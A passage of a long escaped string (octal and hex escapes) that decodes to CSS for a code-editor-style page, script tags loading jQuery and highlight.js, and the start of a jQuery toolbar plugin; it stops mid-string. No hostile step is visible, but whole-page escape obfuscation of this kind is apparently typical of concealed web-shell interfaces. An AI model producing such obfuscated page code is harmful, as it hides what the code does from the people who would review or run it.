70\170\175\56\154\151\x6e\145\x64\x74\x65\170\x74\x61\162\145\141\x7b\160\141\144\144\x69\156\147\72\x30\x3b\155\141\162\x67\x69\x6e\72\x30\x7d\x2e\154\x69\156\145\x64\x74\x65\x78\x74\x61\x72\145\x61\x2c\x2e\x6c\151\156\145\x64\167\x72\x61\160\x20\x2e\x63\x6f\144\145\154\x69\x6e\x65\163\40\x2e\154\x69\x6e\145\x6e\157\173\x66\157\156\x74\55\163\x69\x7a\x65\72\61\63\160\x78\x3b\x66\157\156\164\55\x66\x61\155\151\154\x79\72\x22\120\x6c\x61\x79\x22\73\154\x69\156\145\x2d\x68\145\151\x67\x68\x74\x3a\x6e\x6f\x72\x6d\141\154\41\x69\155\x70\157\x72\x74\x61\156\164\x7d\56\x6c\151\156\x65\x64\x77\162\141\x70\40\x2e\x6c\x69\156\145\163\173\x6d\x61\162\147\x69\x6e\x2d\164\x6f\x70\x3a\x31\x70\x78\x3b\167\x69\x64\164\150\x3a\x34\65\160\170\73\x66\154\x6f\141\x74\x3a\154\145\x66\x74\73\x6f\x76\x65\162\x66\x6c\157\167\x3a\x68\151\144\x64\145\x6e\73\142\157\162\144\x65\x72\x2d\162\x69\x67\150\x74\72\61\x70\x78\x20\x73\157\x6c\151\144\40\x23\61\x44\x39\104\x37\x33\73\x6d\141\162\147\151\156\55\x72\151\147\x68\164\72\65\x70\170\x7d\56\x6c\151\x6e\x65\x64\167\x72\x61\x70\x20\x2e\x63\157\144\145\154\151\156\145\x73\x7b\x70\x61\x64\144\151\x6e\x67\x2d\x74\x6f\160\x3a\66\160\x78\175\56\x6c\151\156\145\144\x77\162\x61\160\x20\56\x63\x6f\x64\x65\154\x69\156\x65\x73\x20\56\154\151\156\x65\x6e\x6f\x7b\143\x6f\x6c\157\162\x3a\43\101\x41\x41\73\160\141\144\144\151\x6e\147\55\162\x69\147\x68\x74\72\65\x70\170\x3b\x70\141\x64\144\151\156\x67\x2d\164\x6f\x70\x3a\x30\145\155\73\x74\x65\x78\164\55\141\154\x69\x67\156\72\x72\151\x67\x68\x74\73\167\150\151\164\x65\55\163\160\141\143\145\x3a\x6e\x6f\167\162\x61\x70\x3b\x66\x6f\x6e\164\x2d\x66\x61\x6d\x69\154\171\x3a\42\120\154\141\171\x22\175\x2e\x6c\x69\156\145\144\x77\x72\141\x70\x20\x2e\143\157\144\145\x6c\151\x6e\145\x73\40\x2e\x6c\x69\x6e\145\163\x65\x6c\145\x63\164\173\143\157\154\157\162\72\43\x31\x44\x39\104\x37\x33\x7d\56\x74\157\x6f\154\x2d\x63\x6f\x6e\x74\x61\x69\156\145\x72\x2c\x2e\164\x6f\157\x6c\55\x69\164\x65\x6d\54\56\x62\164\x6e\55\164\157\x6f\154\x62\x61\x72\x7b\x2d\167\145\x62\153\x69\164\55\142\157\x78\x2d\x73\x69\x7a\151\156\x67\72\x63\157\x6e\164\x65\156\164\x2d\142\157\170\73\55\x6d\157\x7a\x2d\x62\157\x78\x2d\x73\151\x7a\151\x6e\147\x3a\143\157\x6e\164\x65\156\164\55\142\x6f\x78\x3b\142\x6f\170\55\163\x69\172\151\x6e\x67\x3a\143\x6f\x6e\164\145\x6e\x74\x2d\142\157\x78\175\x2e\x62\x74\156\55\x74\157\x6f\154\x62\141\x72\173\142\x61\143\x6b\147\x72\x6f\165\156\144\x3a\43\61\x44\71\x44\x37\63\73\167\151\144\x74\x68\72\x32\x30\x70\170\73\x68\145\151\147\150\x74\x3a\x32\60\160\x78\73\x74\145\170\x74\x2d\x61\x6c\151\147\x6e\72\143\145\156\x74\145\162\x3b\x70\141\144\144\x69\156\147\72\67\x70\170\73\142\x6f\162\x64\145\x72\55\162\x61\144\151\x75\x73\x3a\64\160\170\x3b\x64\151\x73\x70\x6c\141\171\x3a\x62\x6c\157\143\x6b\73\164\162\x61\x6e\163\x69\164\x69\157\156\x3a\156\157\x6e\x65\175\x2e\x62\164\x6e\55\x74\157\x6f\x6c\x62\141\162\76\151\173\143\x6f\154\x6f\162\72\43\x30\x32\x62\141\x66\x32\73\146\157\156\x74\55\163\151\x7a\x65\72\61\66\x70\170\x7d\x2e\x62\164\x6e\x2d\x74\x6f\157\154\142\141\162\72\150\157\166\x65\162\x7b\x62\x61\143\153\x67\162\157\x75\x6e\x64\x3a\x23\x30\x32\x62\x61\x66\x32\x3b\x63\x75\162\x73\157\162\x3a\160\x6f\x69\x6e\x74\x65\x72\x7d\x2e\142\x74\x6e\x2d\164\x6f\157\x6c\x62\141\x72\x3a\150\157\x76\145\x72\x3e\151\x7b\x63\157\x6c\157\x72\x3a\x77\x68\x69\x74\145\x7d\x2e\x62\164\156\x2d\164\x6f\x6f\154\x62\141\x72\55\144\141\162\153\x7b\142\x61\143\x6b\x67\162\x6f\x75\156\144\55\143\x6f\154\157\x72\72\x23\x31\104\x39\x44\x37\63\x7d\56\142\164\x6e\x2d\164\x6f\157\154\142\141\162\x2d\x64\x61\162\153\56\160\162\145\163\163\145\144\x7b\142\141\143\x6b\147\162\157\165\x6e\144\55\143\157\154\x6f\162\72\x23\x35\145\66\71\66\x64\x7d\x2e\x62\x74\156\x2d\x74\157\157\x6c\x62\141\162\55\144\x61\x72\153\72\x68\157\166\x65\x72\173\x62\x61\143\x6b\147\x72\x6f\165\156\144\55\x63\x6f\x6c\157\x72\x3a\x23\x35\145\x36\x39\x36\x64\175\56\142\x74\x6e\x2d\164\x6f\157\x6c\x62\x61\x72\55\x64\x61\162\153\76\x69\173\143\x6f\x6c\x6f\162\72\167\x68\151\x74\x65\x7d\56\x74\x6f\157\x6c\x2d\143\x6f\156\164\x61\x69\156\x65\162\x7b\142\141\143\153\x67\x72\157\165\x6e\144\55\143\157\154\x6f\x72\72\43\65\x65\66\71\x36\144\x3b\x62\141\x63\x6b\147\x72\x6f\165\x6e\x64\x2d\x73\x69\172\x65\72\61\x30\x30\x25\40\61\60\60\x25\73\x62\157\x72\144\x65\x72\x2d\x72\x61\144\151\165\x73\x3a\x34\160\170\x3b\x70\157\x73\151\164\151\x6f\x6e\x3a\141\x62\x73\x6f\x6c\x75\x74\145\175\56\x74\157\157\154\55\143\x6f\156\x74\141\x69\x6e\x65\x72\56\164\157\157\154\55\x74\x6f\x70\x2c\56\164\x6f\157\154\55\143\157\156\x74\x61\151\x6e\145\x72\x2e\164\157\157\x6c\55\142\157\164\x74\x6f\x6d\x7b\150\145\151\147\150\164\72\x33\x34\160\170\x3b\142\157\x72\144\x65\x72\x2d\142\157\164\x74\157\155\72\x30\x20\163\157\x6c\x69\x64\x20\43\142\x65\x62\x38\142\70\175\56\x74\157\157\x6c\55\x63\157\x6e\x74\141\x69\156\x65\162\x2e\164\x6f\x6f\154\55\164\x6f\160\x20\x2e\164\x6f\157\154\55\151\164\x65\155\54\56\x74\157\157\x6c\55\143\x6f\156\x74\x61\x69\x6e\x65\x72\56\x74\x6f\x6f\x6c\x2d\142\157\164\x74\x6f\x6d\x20\56\164\157\x6f\154\55\151\x74\145\x6d\x7b\146\154\x6f\141\x74\72\x6c\145\146\164\73\x62\157\162\x64\145\162\55\x72\151\x67\150\x74\72\60\x3b\142\157\x72\144\145\x72\55\x6c\x65\x66\164\x3a\x30\x7d\56\x74\x6f\x6f\154\55\151\164\145\x6d\x7b\150\145\x69\147\150\x74\72\x31\60\60\45\x3b\x64\151\163\x70\x6c\x61\x79\x3a\142\x6c\x6f\x63\153\73\x77\151\144\164\150\x3a\x32\x30\160\170\x3b\150\x65\151\x67\x68\x74\72\x32\x30\x70\x78\73\x74\145\x78\x74\55\141\x6c\x69\147\156\x3a\x63\x65\x6e\164\x65\x72\73\x70\x61\144\144\x69\156\147\72\67\160\170\x3b\164\x72\x61\x6e\163\151\x74\x69\157\x6e\x3a\x6e\157\156\145\x7d\x2e\164\x6f\x6f\x6c\55\151\164\x65\155\76\56\x7a\155\x64\x69\x7b\x63\x6f\154\x6f\x72\72\x23\142\x32\143\66\143\144\x3b\146\x6f\x6e\164\x2d\x73\x69\172\145\72\x31\65\x70\x78\x3b\x6d\141\162\x67\x69\156\55\x74\157\x70\x3a\x33\160\170\175\56\x74\x6f\x6f\154\55\151\164\x65\155\56\x73\145\154\145\x63\x74\145\144\54\56\164\x6f\x6f\154\x2d\151\x74\145\155\x3a\x68\x6f\x76\x65\x72\x7b\142\x61\143\153\x67\x72\157\165\x6e\144\72\43\60\62\x62\x61\146\x32\175\x2e\x74\157\x6f\154\x2d\x69\x74\145\155\56\163\145\154\145\143\x74\145\144\76\56\172\x6d\144\x69\x2c\x2e\164\x6f\x6f\154\x2d\x69\164\145\155\x3a\x68\157\x76\145\162\76\56\172\x6d\x64\151\x7b\143\x6f\154\157\x72\72\167\x68\x69\164\x65\175\x2e\164\157\x6f\x6c\55\164\157\160\40\x2e\x74\x6f\157\x6c\55\151\x74\x65\x6d\x3a\146\151\162\163\164\55\x63\x68\151\x6c\x64\72\150\157\166\145\162\x2c\56\x74\157\157\x6c\x2d\x62\x6f\x74\164\x6f\155\x20\x2e\164\157\x6f\154\55\x69\164\x65\155\x3a\x66\151\162\163\164\55\143\x68\151\154\x64\x3a\x68\x6f\166\x65\x72\173\142\157\x72\144\145\x72\55\164\x6f\160\x2d\154\x65\146\164\55\162\x61\144\151\x75\x73\x3a\64\x70\x78\x3b\x62\x6f\162\144\145\x72\x2d\142\x6f\x74\x74\157\155\55\x6c\145\x66\164\x2d\162\141\x64\151\165\163\x3a\64\x70\x78\x7d\x2e\x74\157\157\154\x2d\x74\x6f\160\40\56\x74\157\157\x6c\55\151\x74\x65\x6d\72\154\141\x73\x74\55\143\150\151\x6c\x64\x3a\x68\x6f\x76\x65\x72\54\56\x74\x6f\x6f\154\x2d\142\157\x74\164\157\x6d\x20\56\x74\157\x6f\154\55\x69\164\145\155\x3a\x6c\141\x73\x74\55\x63\x68\151\x6c\x64\x3a\x68\x6f\x76\145\x72\173\x62\157\x72\x64\145\x72\x2d\x74\157\x70\x2d\162\151\x67\x68\x74\55\x72\141\144\x69\x75\163\x3a\x34\x70\170\x3b\x62\x6f\162\x64\145\162\x2d\x62\157\x74\164\157\155\55\162\x69\147\x68\x74\55\x72\141\144\151\165\163\x3a\64\x70\170\x7d\56\164\x6f\157\154\x2d\x76\145\162\164\151\143\141\154\x2d\164\x6f\x70\40\56\164\x6f\157\154\55\151\164\x65\x6d\x3a\x66\151\x72\x73\164\x2d\x63\150\151\154\144\x3a\x68\157\166\145\162\x2c\x2e\164\x6f\x6f\154\55\x76\x65\x72\x74\x69\x63\141\x6c\x2d\142\x6f\164\x74\157\x6d\40\56\164\x6f\157\154\55\x69\164\145\155\72\146\x69\x72\163\164\55\143\x68\x69\154\x64\72\150\x6f\166\145\x72\x2c\x2e\x74\157\x6f\x6c\x2d\x72\x69\x67\x68\x74\x20\x2e\x74\157\x6f\x6c\55\x69\x74\145\x6d\x3a\146\x69\x72\x73\x74\55\x63\150\151\x6c\x64\72\x68\x6f\166\145\162\54\56\x74\x6f\157\154\55\154\145\x66\164\40\56\x74\x6f\x6f\x6c\x2d\151\x74\145\x6d\x3a\x66\151\162\x73\x74\55\x63\x68\151\154\x64\x3a\150\x6f\166\145\x72\173\x62\157\x72\144\x65\162\x2d\164\x6f\160\x2d\x6c\x65\146\x74\x2d\162\x61\x64\x69\x75\x73\x3a\x34\x70\170\x3b\142\x6f\162\144\145\162\x2d\x74\157\x70\55\162\151\x67\150\x74\x2d\x72\141\144\151\x75\x73\72\x34\160\x78\x7d\56\164\157\157\154\x2d\x76\145\x72\164\x69\143\141\154\55\164\x6f\160\40\x2e\164\157\157\154\55\x69\164\x65\155\72\154\x61\163\x74\55\143\150\151\154\x64\x3a\150\157\x76\145\162\54\56\x74\x6f\157\154\55\166\145\x72\x74\x69\x63\141\154\55\142\157\164\x74\x6f\155\40\x2e\164\x6f\157\154\55\x69\x74\145\155\72\154\x61\x73\x74\x2d\143\x68\151\154\144\72\150\x6f\x76\145\162\x2c\56\164\157\157\154\55\162\151\147\x68\x74\x20\x2e\164\157\x6f\154\x2d\x69\164\x65\155\72\154\x61\163\164\55\x63\150\x69\154\144\72\x68\x6f\x76\145\x72\x2c\x2e\164\x6f\157\x6c\x2d\x6c\145\x66\164\x20\56\x74\x6f\157\154\55\151\x74\145\x6d\72\x6c\141\x73\x74\55\x63\150\151\x6c\x64\72\150\157\166\145\x72\x7b\x62\x6f\x72\144\145\x72\55\142\x6f\x74\164\x6f\x6d\x2d\154\145\146\164\55\162\x61\144\x69\165\x73\x3a\x34\160\170\x3b\142\157\x72\144\x65\162\55\142\x6f\x74\x74\x6f\x6d\55\162\151\147\x68\x74\x2d\162\141\x64\x69\165\x73\x3a\x34\x70\x78\175\56\x74\x6f\x6f\154\55\143\157\x6e\x74\x61\x69\156\145\x72\x20\56\141\162\x72\x6f\167\x7b\167\x69\x64\x74\x68\72\x30\x3b\150\145\x69\x67\150\x74\72\60\73\160\x6f\x73\151\164\x69\157\156\x3a\x61\x62\163\157\154\x75\x74\145\x3b\142\x6f\162\x64\x65\162\55\x77\x69\x64\x74\x68\72\x37\160\x78\73\142\x6f\x72\x64\145\162\x2d\x73\164\171\x6c\145\x3a\x73\157\154\x69\144\x7d\56\x74\157\157\154\x2d\143\x6f\156\x74\x61\x69\156\x65\x72\56\x74\157\x6f\x6c\x2d\x74\x6f\160\x20\56\141\162\x72\157\x77\x7b\142\157\x72\144\x65\162\x2d\x63\157\154\x6f\x72\72\x23\x35\145\x36\x39\x36\x64\40\x74\x72\x61\156\163\x70\141\x72\x65\156\x74\40\x74\162\141\156\163\160\141\162\x65\156\x74\73\x6c\145\146\x74\x3a\x35\x30\x25\73\142\157\x74\164\157\x6d\72\55\61\x34\160\170\73\155\141\162\147\151\x6e\x2d\x6c\x65\x66\x74\x3a\x2d\67\x70\x78\175\x2e\164\157\157\154\55\x63\157\156\164\x61\151\x6e\x65\162\x2e\164\x6f\x6f\x6c\55\x62\x6f\164\x74\157\x6d\x20\56\x61\x72\162\157\x77\173\142\x6f\x72\x64\145\162\x2d\x63\157\x6c\157\x72\x3a\x74\162\x61\156\x73\160\x61\x72\x65\156\x74\x20\164\x72\141\156\163\160\x61\x72\x65\x6e\x74\x20\x23\x35\145\x36\x39\66\144\73\154\145\x66\x74\72\x35\x30\x25\73\x74\x6f\x70\72\55\x31\x34\160\x78\x3b\x6d\x61\162\x67\151\x6e\x2d\154\x65\146\164\72\x2d\x37\160\x78\175\56\x74\x6f\157\154\x2d\143\157\156\x74\x61\151\x6e\x65\x72\x2e\x74\157\157\154\x2d\154\145\146\x74\40\x2e\141\162\x72\157\x77\x7b\x62\157\x72\x64\x65\162\55\143\x6f\154\157\162\x3a\x74\162\141\x6e\x73\x70\x61\x72\145\x6e\x74\x20\x74\x72\x61\156\163\x70\x61\162\x65\x6e\x74\40\164\162\141\x6e\163\160\x61\162\x65\156\x74\x20\43\x35\145\66\71\66\144\x3b\164\x6f\160\72\x35\x30\x25\73\162\151\x67\150\x74\72\55\x31\64\x70\x78\73\155\x61\x72\x67\151\156\55\164\x6f\x70\72\x2d\x37\160\x78\x7d\56\164\x6f\157\x6c\x2d\143\x6f\x6e\164\x61\x69\156\145\x72\56\164\x6f\157\x6c\x2d\162\x69\x67\x68\164\40\56\x61\162\x72\x6f\167\x7b\x62\157\x72\x64\x65\x72\x2d\143\x6f\154\x6f\x72\x3a\164\x72\141\156\x73\x70\141\x72\x65\x6e\164\x20\43\65\x65\x36\71\x36\x64\x20\164\162\141\x6e\163\160\141\x72\145\x6e\164\x20\x74\162\x61\156\163\x70\x61\162\x65\x6e\x74\73\x74\157\160\72\x35\60\45\x3b\154\x65\x66\164\72\x2d\61\x34\160\170\x3b\x6d\141\x72\x67\x69\x6e\55\164\157\x70\72\x2d\x37\160\170\x7d\56\x74\157\157\154\142\x61\x72\55\x64\x61\162\x6b\x7b\x62\x61\x63\153\x67\162\x6f\165\x6e\x64\x2d\143\157\154\157\x72\x3a\x23\61\x44\71\104\x37\63\175\x2e\x74\x6f\157\x6c\x62\141\162\55\x64\x61\162\153\x2e\164\157\x6f\154\x2d\x74\157\x70\40\56\x61\x72\x72\x6f\167\x7b\x62\157\x72\x64\145\x72\x2d\143\x6f\x6c\157\x72\x3a\43\x31\x44\x39\104\x37\x33\x20\x74\x72\141\156\x73\x70\x61\x72\x65\x6e\x74\x20\164\162\141\156\163\x70\141\x72\145\x6e\x74\x7d\56\164\157\157\154\x62\141\162\x2d\x64\141\x72\153\x2e\x74\x6f\x6f\154\x2d\142\x6f\164\164\157\x6d\40\56\x61\x72\x72\x6f\167\173\142\157\162\x64\145\162\55\143\157\154\x6f\x72\x3a\164\x72\x61\156\x73\x70\141\x72\145\156\x74\x20\164\x72\141\x6e\x73\160\141\x72\145\x6e\x74\40\43\61\x44\x39\104\x37\x33\175\56\164\x6f\x6f\154\142\x61\x72\55\x64\x61\x72\153\56\x74\x6f\x6f\154\55\154\x65\x66\164\x20\x2e\141\162\x72\157\167\x7b\142\x6f\x72\x64\145\x72\x2d\143\x6f\154\157\x72\72\x74\x72\x61\156\x73\x70\x61\162\x65\x6e\x74\x20\x74\x72\141\x6e\163\160\141\x72\145\x6e\164\x20\x74\162\141\156\163\x70\x61\x72\145\x6e\x74\x20\x23\x31\x44\71\104\x37\63\175\56\164\x6f\157\x6c\x62\x61\x72\55\144\141\x72\153\x2e\164\x6f\x6f\154\x2d\162\151\147\150\x74\40\x2e\x61\x72\x72\x6f\x77\x7b\142\157\x72\144\x65\162\x2d\143\x6f\x6c\157\162\x3a\x74\x72\x61\x6e\163\160\141\162\x65\x6e\164\40\43\x31\x44\71\x44\67\x33\40\x74\162\x61\x6e\163\160\141\x72\x65\156\164\x20\x74\162\141\156\x73\x70\141\162\x65\156\164\175\x2e\x74\x6f\x6f\154\x62\141\162\x2d\x64\x61\162\153\x20\56\164\x6f\157\x6c\x2d\x69\x74\x65\x6d\76\56\x7a\155\x64\151\x7b\143\x6f\154\157\162\x3a\167\x68\x69\164\x65\175\56\164\x6f\157\154\x62\x61\162\55\x64\141\x72\x6b\40\x2e\164\x6f\157\154\55\151\164\x65\x6d\x2e\x73\145\x6c\145\143\x74\145\x64\x2c\56\164\157\x6f\x6c\142\x61\x72\x2d\144\x61\162\153\x20\x2e\164\x6f\157\154\x2d\x69\x74\145\155\72\150\x6f\x76\145\x72\x7b\142\x61\143\x6b\x67\x72\157\x75\156\x64\72\43\x33\x34\63\x34\63\x36\x3b\143\x6f\154\157\x72\x3a\167\150\x69\x74\145\175\x2e\x61\156\151\155\x61\164\145\x2d\163\164\141\x6e\x64\x61\162\x64\173\55\x77\145\x62\153\151\x74\55\x61\156\151\155\x61\164\x69\157\156\x3a\163\164\x61\156\x64\x61\x72\144\x41\x6e\x69\155\141\x74\x65\x20\x30\56\63\x73\x20\x31\x20\x65\x61\163\x65\x7d\x2e\x61\156\x69\x6d\141\x74\145\x2d\x66\x6c\x79\151\156\x7b\55\167\x65\142\x6b\151\x74\55\141\x6e\151\x6d\x61\x74\151\x6f\x6e\x3a\x72\157\164\141\x74\x65\x41\x6e\151\155\141\x74\x65\40\x30\x2e\65\163\40\61\40\145\141\163\x65\x7d\56\141\x6e\x69\155\x61\164\145\x2d\147\x72\x6f\167\173\x2d\167\145\142\153\151\164\55\141\x6e\x69\155\x61\x74\x69\x6f\156\72\x67\x72\157\x77\x41\x6e\x69\x6d\x61\x74\145\40\60\56\x34\x73\x20\61\x20\x65\x61\163\x65\175\56\x61\x6e\151\x6d\x61\164\145\x2d\146\x6c\151\x70\173\x2d\x77\x65\142\153\151\x74\55\x61\x6e\x69\x6d\x61\x74\x69\x6f\156\72\x66\x6c\151\x70\101\x6e\x69\x6d\x61\x74\x65\40\x30\56\x34\163\40\x31\x20\x65\141\163\145\175\x2e\141\156\151\x6d\141\164\x65\x2d\x62\157\165\x6e\x63\x65\x7b\x2d\167\145\x62\x6b\x69\x74\x2d\x61\x6e\x69\x6d\x61\164\151\x6f\156\x3a\142\157\x75\x6e\143\145\101\x6e\151\155\x61\164\x65\40\60\x2e\64\163\40\61\40\x65\x61\163\145\55\x6f\x75\164\175\100\55\x77\145\142\153\151\164\55\x6b\x65\x79\146\x72\x61\155\x65\x73\x20\x72\x6f\164\141\x74\145\x41\x6e\x69\x6d\x61\x74\145\173\x66\162\x6f\x6d\173\164\x72\141\156\x73\x66\157\x72\155\72\x72\157\x74\141\x74\145\50\x31\x38\x30\x64\145\x67\51\x20\164\162\x61\156\163\154\x61\x74\x65\50\x2d\x31\x32\x30\160\170\51\x3b\157\160\x61\x63\151\164\171\72\x30\x7d\164\157\173\164\x72\141\x6e\163\x66\157\162\x6d\x3a\162\x6f\x74\x61\x74\x65\x28\60\144\145\147\x29\x20\x74\162\141\156\x73\154\x61\x74\x65\50\60\51\73\x6f\x70\141\143\151\x74\x79\x3a\61\x7d\175\x40\55\167\x65\142\x6b\x69\x74\55\153\145\x79\x66\162\141\155\145\163\40\x73\164\141\156\x64\141\x72\144\x41\156\x69\x6d\x61\164\145\173\146\x72\157\155\x7b\x74\x72\141\x6e\163\x66\x6f\162\155\72\164\162\141\x6e\163\x6c\x61\164\145\131\x28\62\60\160\170\x29\73\x6f\160\x61\x63\151\164\x79\72\x30\x7d\x74\157\x7b\164\x72\141\x6e\163\x66\x6f\x72\155\x3a\x74\x72\x61\156\163\x6c\x61\164\145\x59\x28\60\x29\73\157\160\x61\143\x69\x74\171\72\x31\175\x7d\100\55\167\145\142\x6b\151\x74\55\x6b\145\171\x66\162\141\155\145\x73\40\147\162\157\167\x41\x6e\151\155\x61\164\145\173\x30\45\x7b\164\x72\x61\156\x73\x66\157\162\155\72\163\x63\x61\x6c\x65\x28\x30\51\40\164\162\141\156\163\154\x61\x74\x65\x59\x28\64\x30\160\170\x29\73\x6f\160\x61\x63\151\x74\171\x3a\x30\x7d\67\60\x25\173\164\x72\141\x6e\163\146\x6f\x72\155\x3a\163\143\141\x6c\x65\50\x31\56\x35\51\40\164\162\141\x6e\163\154\x61\x74\x65\50\60\51\x7d\x31\x30\x30\x25\173\164\162\141\156\163\x66\x6f\x72\x6d\72\163\143\141\154\x65\x28\61\51\x20\x74\x72\141\x6e\163\x6c\x61\164\145\x28\60\x29\x3b\157\x70\x61\x63\151\x74\x79\72\61\175\x7d\x40\55\167\145\x62\x6b\x69\x74\55\153\x65\171\146\162\x61\x6d\145\x73\40\162\x6f\164\141\x74\x65\x32\x41\156\x69\155\x61\x74\145\173\146\x72\157\155\173\164\x72\141\156\x73\x66\x6f\x72\x6d\x3a\x72\x6f\x74\x61\x74\145\x28\x2d\x39\x30\144\x65\147\x29\x3b\x74\x72\141\156\x73\x66\x6f\x72\x6d\x2d\157\x72\x69\x67\x69\156\x3a\x30\x25\x20\x31\x30\60\45\x3b\157\x70\x61\143\151\164\171\72\x30\x7d\164\x6f\x7b\x74\162\141\156\x73\146\x6f\162\x6d\x3a\162\157\164\x61\164\145\50\60\144\x65\x67\x29\73\157\x70\x61\143\151\164\x79\72\61\175\175\x40\x2d\167\x65\142\153\x69\164\x2d\x6b\x65\x79\146\x72\x61\x6d\x65\x73\40\146\x6c\151\x70\x41\156\151\x6d\141\164\x65\173\x66\162\157\155\x7b\164\x72\x61\x6e\x73\146\157\x72\155\x3a\x72\x6f\x74\x61\164\x65\x33\144\x28\x32\x2c\x32\54\62\x2c\61\70\x30\144\x65\147\x29\73\157\160\x61\143\x69\x74\171\x3a\60\x7d\x74\157\x7b\x74\162\x61\156\163\146\157\162\x6d\72\x72\x6f\x74\x61\164\x65\63\144\x28\x30\x2c\x30\x2c\60\54\x30\x64\145\x67\x29\x3b\x6f\160\x61\x63\151\164\171\72\x31\175\175\100\55\167\x65\x62\153\151\164\55\x6b\145\171\146\162\141\155\145\x73\x20\142\x6f\x75\156\143\x65\101\156\x69\x6d\x61\x74\x65\x7b\60\x25\x7b\x74\162\141\156\x73\x66\x6f\162\x6d\x3a\164\x72\141\x6e\x73\x6c\141\x74\145\131\x28\64\x30\160\170\51\x3b\x6f\x70\x61\143\151\x74\171\72\60\x7d\x33\60\x25\x7b\x74\162\141\156\163\146\157\162\155\x3a\x74\162\141\156\x73\x6c\141\164\x65\x59\50\x2d\x34\x30\160\170\51\x7d\67\60\x25\173\164\162\x61\x6e\163\x66\x6f\x72\155\x3a\164\162\141\156\163\154\x61\x74\x65\x59\x28\62\x30\x70\x78\x29\x7d\x31\x30\60\45\x7b\164\x72\x61\156\163\x66\157\162\155\x3a\x74\162\141\156\163\x6c\x61\x74\x65\x59\x28\x30\x29\x3b\157\x70\x61\143\x69\164\x79\72\61\x7d\175\56\150\x69\144\x64\145\x6e\x7b\x64\x69\x73\160\154\141\171\x3a\156\x6f\156\145\x7d\12\x3c\x2f\163\164\171\x6c\145\x3e\12\12\11\x3c\x73\x63\x72\x69\x70\x74\40\163\x72\x63\x3d\x22\57\57\x63\144\156\152\163\56\x63\154\157\165\144\x66\154\141\162\x65\56\143\x6f\x6d\57\x61\152\x61\x78\57\x6c\x69\142\x73\57\x6a\161\165\x65\x72\171\57\63\56\x32\x2e\61\x2f\x6a\161\x75\x65\162\x79\x2e\152\x73\x22\76\x3c\57\x73\143\162\151\160\x74\x3e\12\x20\40\x20\40\x3c\x73\x63\x72\151\160\164\x20\163\x72\143\75\x22\x2f\57\x63\x64\x6e\152\163\56\143\x6c\x6f\x75\144\146\x6c\141\x72\145\x2e\x63\x6f\155\x2f\141\152\x61\170\x2f\x6c\x69\x62\163\57\x68\151\x67\x68\x6c\151\147\150\x74\56\x6a\x73\x2f\x39\56\61\62\56\60\x2f\150\151\147\x68\x6c\x69\147\150\x74\56\x6d\151\x6e\56\x6a\x73\x22\x3e\74\x2f\163\143\x72\151\x70\x74\76\xa\x9\74\x73\x63\162\x69\x70\x74\x20\164\x79\x70\145\75\42\164\x65\x78\x74\57\152\141\166\x61\163\143\x72\x69\x70\164\42\x3e\40\x20\40\x20\x9\xa\151\x66\40\x28\x20\164\x79\160\145\x6f\x66\x20\117\142\152\x65\x63\x74\56\x63\162\145\x61\164\145\x20\x21\x3d\x3d\x20\x27\x66\165\x6e\143\164\151\x6f\156\47\40\x29\x20\173\12\40\x20\40\x20\117\142\x6a\x65\143\x74\x2e\x63\162\x65\141\164\x65\40\75\40\x66\165\156\143\164\151\x6f\156\x28\x20\x6f\142\x6a\40\51\40\x7b\xa\40\40\40\40\40\x20\x20\x20\146\165\156\x63\x74\x69\x6f\156\40\106\50\x29\40\173\x7d\12\40\x20\x20\x20\40\40\x20\40\x46\56\160\x72\x6f\x74\157\164\x79\x70\x65\40\75\x20\x6f\x62\x6a\73\12\40\40\x20\x20\40\x20\x20\x20\x72\x65\x74\x75\x72\156\40\156\145\167\x20\x46\x28\x29\x3b\xa\40\40\x20\40\175\73\xa\x7d\12\xa\x28\146\x75\156\143\164\151\157\x6e\50\40\x24\54\x20\167\151\156\x64\x6f\167\x2c\40\x64\157\143\165\155\145\156\164\54\x20\165\x6e\x64\145\x66\151\x6e\x65\x64\40\x29\x20\x7b\xa\xa\40\40\x20\40\166\141\162\40\124\x6f\x6f\x6c\102\141\162\40\75\40\173\12\x20\40\40\x20\40\40\40\x20\x69\x6e\x69\164\x3a\x20\146\165\x6e\x63\164\151\157\x6e\50\40\157\x70\x74\151\157\x6e\163\54\x20\x65\154\145\155\40\51\40\x7b\12\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\166\141\x72\40\x73\x65\154\x66\x20\75\40\164\150\x69\163\73\xa\x20\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\163\x65\154\146\x2e\x65\154\145\x6d\x20\x3d\x20\x65\x6c\x65\155\73\xa\x20\40\x20\40\x20\40\x20\40\x20\x20\40\40\163\145\154\x66\x2e\44\x65\154\x65\x6d\x20\75\40\x24\50\x20\145\154\x65\x6d\x20\51\x3b\xa\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\163\145\154\146\56\157\x70\x74\x69\157\x6e\x73\x20\x3d\x20\44\56\145\170\164\x65\156\144\x28\x20\173\175\x2c\40\x24\x2e\146\156\x2e\x74\x6f\x6f\154\x62\x61\162\x2e\x6f\x70\164\x69\x6f\156\x73\54\x20\157\x70\164\x69\x6f\156\x73\40\51\x3b\xa\40\40\40\40\40\x20\x20\40\40\40\x20\40\163\145\154\146\56\155\x65\164\141\144\x61\x74\141\x20\75\40\163\145\x6c\146\56\x24\x65\x6c\x65\x6d\56\x64\x61\x74\141\x28\51\73\12\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\40\x73\145\x6c\x66\x2e\157\x76\145\x72\x72\151\144\145\117\160\164\151\157\156\x73\50\x29\73\xa\x20\40\x20\x20\40\x20\40\40\40\x20\40\40\x73\x65\x6c\x66\56\x74\157\x6f\154\142\x61\x72\40\75\x20\44\50\x27\74\144\151\x76\x20\x63\x6c\141\163\x73\x3d\x22\164\157\157\x6c\55\x63\157\x6e\x74\141\x69\x6e\x65\x72\42\40\57\76\x27\x29\12\x20\x20\x20\x20\40\40\40\40\40\40\40\40\x20\40\40\40\56\x61\144\144\x43\154\x61\x73\163\x28\x27\164\157\157\154\x2d\x27\x2b\163\145\154\x66\56\x6f\x70\164\x69\x6f\156\x73\x2e\160\x6f\x73\151\164\151\x6f\x6e\x29\xa\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\40\x20\56\141\x64\144\x43\154\141\x73\x73\50\x27\x74\x6f\157\x6c\x62\141\162\55\47\x2b\163\145\x6c\146\x2e\x6f\160\164\151\x6f\x6e\163\56\x73\x74\x79\154\145\51\12\x20\40\40\x20\40\40\x20\40\40\40\40\x20\40\40\40\x20\x2e\141\x70\160\145\x6e\144\50\x27\74\x64\x69\x76\x20\143\x6c\